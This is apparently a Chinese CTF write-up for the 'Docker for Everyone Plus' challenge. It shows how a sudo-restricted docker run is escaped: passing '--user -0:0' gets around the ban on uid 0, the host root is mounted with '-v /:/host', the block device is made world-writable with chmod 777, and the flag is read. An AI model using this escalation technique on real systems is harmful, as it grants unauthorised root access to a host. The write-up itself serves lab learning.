Docker for Everyone Plus——Unbreakable!

修改一下telnet的端口配置,访问第二小问,sudo -l命令允许提权执行的命令:

发现多了这两个限制--security-opt=no-new-privileges,表明docker run命令必须带上--security-opt=no-new-privileges参数,这可以防止通过suid机制获取root权限,同时禁止了--device参数,无法从容器内读取flag


老样子,rz传输tar.gz文件并解压载入tar镜像:

rz

gunzip dockerfile.tar.gz

sudo docker image load < dockerfile.tar


了解到一个方法:

uid是整数型,整数的+0和-0就是一个东西,不让指定uid为0,那就指定为-0来绕过

sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --user -0:0 -v /:/host -it dockerfile

cat /host/dev/vdb

成功获取到root shell,但在容器内,依旧不能读设备块


修改一下文件权限即可,再exit退出容器,cat /dev/vdb就可以成功获取flag了:

chmod 777 /host/dev/vdb

cat /dev/vdb

flag{contA1N3R_R0ot_i5_4cCESsIb1e_c692a7d2c6}

相关推荐
YouEmbedded1 天前
解码Linux文件IO目录检索与文件属性
linux·文件属性·文件io·目录检索
大聪明-PLUS1 天前
关于新的 Linux 内核接口 gpio uapi 的说明
linux·嵌入式·arm·smarc
玉树临风江流儿1 天前
Linux驱动开发总结速记
linux·运维·驱动开发
cccyi71 天前
Linux 进程信号机制详解
linux·signal·volatile
舰长1151 天前
k8s 持久化存储方案-PVC
云原生·容器·kubernetes
南方以南_1 天前
对比k8s的service和kube-proxy
云原生·容器·kubernetes
gd63213741 天前
银河麒麟 aarch64 linux 里面的 qt 怎么安装kit
linux·服务器·qt
A-花开堪折1 天前
Qemu 嵌入式Linux驱动开发
linux·运维·驱动开发
磊灬泽1 天前
【Linux驱动开发】PWM子系统-servo
linux·运维·算法
爱宇阳1 天前
从零开始部署 GitLab CE 18.4.2:Docker Compose 新手教程
docker·容器·gitlab